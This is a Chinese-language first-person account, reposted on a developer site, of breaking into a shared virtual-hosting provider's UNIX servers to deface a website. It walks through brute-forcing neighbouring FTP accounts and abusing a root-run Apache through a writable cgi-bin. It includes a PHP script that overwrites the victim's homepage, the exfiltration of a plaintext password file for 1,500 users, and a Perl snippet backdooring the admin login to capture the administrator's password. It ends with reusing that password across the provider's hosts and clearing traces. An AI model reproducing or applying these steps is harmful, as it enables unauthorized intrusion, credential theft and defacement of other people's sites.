热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

由一次入侵实例看虚拟主机系统的安全问题

文章标题:由一次入侵实例看虚拟主机系统的安全问题。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类

  其实早就有写这个文章的想法,一直没有写的原因是因为恐怕这无形为一些乐于此道的人提供了一种方法,但想想说了也许就能多少对一些IDC们起一定的压力,加强一些安全方面的措施,不然的话苦的是那些广大的虚拟主机用户,哪天被黑了,都傻傻的不知道怎么回事,当然,在我写出这个来的时候,我也是已经确定我所提及的大部分问题都已得到解决,下列所述的IP、域名、用户名、密码、路径、文件名等等都已被我更换,不是实际的,而且是合并了2个以上服务商的问题,凑成一起说,各位看官无需将我所述影射到国内的任何一个虚拟主机服务商身上。
  
  事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要干掉一个网站,(没错,确实就是这样,别把俺想得太高尚),首先当然是找个扫描器扫一下端口,发现这是一部很标准的UNIX主机,开着telnet,ftp,smtp,pop等,开着这么多的端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为 ab1234@abc.com,但这个网站的域名确是def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP202.96.100.10看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^&#*#@乱七八遭一广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,所以看看别人的如何,于是从用户 ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210 pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录
  %cd \
  %cd home
  %ls
  一堆用户目录
  %cd ab1234
  :Permission denied
  没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入http://202.96.100.10:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210 ,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache 的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成是我的命令,然后通过浏览器用apache来运行他。于是
  %cd /var/www/manager/cgi-bin
  %ls
  :Permission denied
  呀呀,进得来却不能读
  %cd ..
  %ls
  :Permission denied
  
  $cd ..
  %ls
  %htdocs cgi-bin backup manager
  backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进
  %cd backup
  %
  可以
  %ls -la
  drwxr-xr-x 7 root wheel 512 Jul 20 07:02 .
  drwxr-xr-x 4 root wheel 512 Jul 3 01:49 ..
  ......
  -rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar
  ......
  看到没有,果然有manager目录的备份,还是644,可以下回去慢慢看看啦,先把他复制到ab1210的htdocs目录,这是ab1210这个用户的网站的根目录
  %cp manager_00_05_12.tar /home/ab1210/htdocs/manager.tar
  %cd
  %cd htdocs
  这个manager.tar超大,25M ,先压缩一下,然后打开IE下载,输入http://ab1210的域名/manager.tar.gz,下回本地慢慢看,半小时之后,终于弄清楚这个程序的原理,也知道了在那些目录下有哪些重要的文件,包括了在/home/sysadm下面似乎有个一用户的明文密码文件userpw,也知道了在这个apache的cgi-bin目录下有个一data的目录是任何人可写的,这样就好办啦
  %cd /var/www/manager/cgi-bin/data
  %touch hacked.html
  %touch cp.php3
  %vi hacked.html
  
  就是没法输入中文,没办法,凑合
  
  :wq
  %
  %vi cp.php3
    copy("/var/www/manager/cgi-bin/data/hacked.html","/home/ab1234/htdocs/index.html");
  ?>
  :wq
  %
  接下来用IE打开 http://202.96.100.10:91/cgi-bin/data/cp.php3,出来一片空白,呵呵,那就是完成啦,再打开那个网站的主页看看,没错, 就这样把这网站给改掉了!
  
  到此,干掉这个站的任务是完成了,不过我现在的兴趣却是要看看这个主机里面的一些敏感数据了,还用刚刚的方法,改变 cp.php3的内容,把所有要得文件写进去,全部复制到ab1210的htdocs目录打个包,用IE下载了回去,果然,刚刚说到的那个/home/sysadm下面有个明文的密码文件userpw确实就是这部主机上的所有用户的用户名和密码列表,这个似乎是用来做忘记密码是取回的文件,呵呵,包括了ab1234这个要干掉的站的密码也在内,一共1500个用户的密码在我手里了,通过对下载回来的manager目录里的程序和刚刚那些文件的分析,我对这个主机的结构已经相当清楚了,也发现了这个sysadm的用户似乎有很高的权限,而且它是wheel组的,有su root 的权力,好奇心促使我想要进一步的探索到他的整个机群。
  
  当然,我完全可以用刚才的方法写个脚本改变sysadm 或是 root的密码,然后随心所欲的干,但这样一来,明天我可能就进不来了,他们发现了root密码被改,肯定会查清楚问题所在了,现在需要得到的是sysadm的密码,这个密码在刚刚那个userpw中是没有的,我估计他们每一部主机的sysadm的密码应该是相同的,这样我可以得到其他的主机的控制权,但现在还没有明确的知道要怎么做,所以先来看看那个运行在92端口的apache是干什么的再说,同样用IE来看,http://202.96.100.10:92/,还是要输入密码,输入ab1210 ,8888 ,不行,用其他的用户进入,也不行,剩下的只有一些系统账号和sysadm这个了,再回到本地来看看第一次下载回来的那个manager.tar,他当中也包括了那个运行在92端口的程序,看看发现这个是他们内部用来管理用户的程序,管理员可以通过这个程序增加删除用户,设定用户的空间限制等等,这个程序的登陆限制比较严格,除了有apache目录保护之外,还有IP段限制,只允许一个特定的IP段登陆,还有就是只有在/etc/usercan这个文件中列入的用户名才可以登陆,密码就还是使用系统的密码,usercan这个文件我刚刚没有取回来,现在还是用刚才改主页的方法,把这个文件复制到ab1210的目录
  
  %cat usercan
  sysadm
  没错,就只有一个人可以登陆,就是sysadm,我现在需要的是sysadm的密码,当然,那个shadow过的密码文件我已经也取回了,不过我想这么重要的密码,应该不会简单的,穷举显然不是办法,所以,我修改了这个身份验证的程序index.cgi,增加了如下代码
  open(FH,">>/etc/passwd.org");
  print FH "$passwd \n";
  close(FH);
  这样,当管理员登录的时候,他的密码将被写到/etc/passwd.org这个文件当中,我只要等着他登陆就行了,改好之后,用ftp上传,还用刚刚的方法,不过这次是搬回去,覆盖掉系统上原来的index.cgi。
  
  接下来,当然就是清除刚刚留下的各种痕迹,这个就不再废话了。第二天,继续用ab1210登录
  %cat /etc/passwd.org
  cat: passwd.org: No such file or directory
  看来到现在管理员还没有登陆过,只好继续等啦,到了晚上,再次登录,这下有了,
  %cat /etc/passwd.org
  D1C2B3A4
  D1C2B3A4
  %
  这样,我得到了一个应该可登录到他们的每一部主机上的同属root组的用户sysadm,密码D1C2B3A4,我已经看过/etc/ttys,虽然在那个管理系统上sysadm不能从其他IP登录,但是操作系统本身并没有限制sysadm不能telnet。
  
  接下来,就来看看他们多少部这样的主机,方法很简单,在202.96.100这个IP段扫出有91这个端口的就是了,一看有6部,随便找个试试看,成功了,可以进,证实了我的想法没错,sysadm可以登陆任何一部主机,而且密码是一样的,至此,这个IDC的所有UNIX虚拟主机的一共几千个客户的网站的生杀大权以掌握在我手里,只要我头脑一发热,一个简单的脚本就可以把所有的这些网站的主页改了,只要在那个管理程序中增加几个#,就可以把所有的用户删个一干二净,幸好我那段时间正好和网上一个MM打得火热,而生意也有点小钱赚,心情还算非常良好,不然可能就不会有20CN了,你也不会看到我这文章,因为要是当时把他们给改了或是删了,我今天名气应该比红客们大得多,但现在没准就是在监狱里呆着
  
  好了,本次的入侵可以说是到一段落了,按照通常的入侵实例的写法,好像到了我要说我就给那管理员发份邮件,告知问题所在的时候了,但是你错了,我并没有这么做,为什么?下回分解
  
  虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysa
推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 基于layUI的图片上传前预览功能的2种实现方式
    本文介绍了基于layUI的图片上传前预览功能的两种实现方式:一种是使用blob+FileReader,另一种是使用layUI自带的参数。通过选择文件后点击文件名,在页面中间弹窗内预览图片。其中,layUI自带的参数实现了图片预览功能。该功能依赖于layUI的上传模块,并使用了blob和FileReader来读取本地文件并获取图像的base64编码。点击文件名时会执行See()函数。摘要长度为169字。 ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • Android中高级面试必知必会,积累总结
    本文介绍了Android中高级面试的必知必会内容,并总结了相关经验。文章指出,如今的Android市场对开发人员的要求更高,需要更专业的人才。同时,文章还给出了针对Android岗位的职责和要求,并提供了简历突出的建议。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
author-avatar
外星人源码商城
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有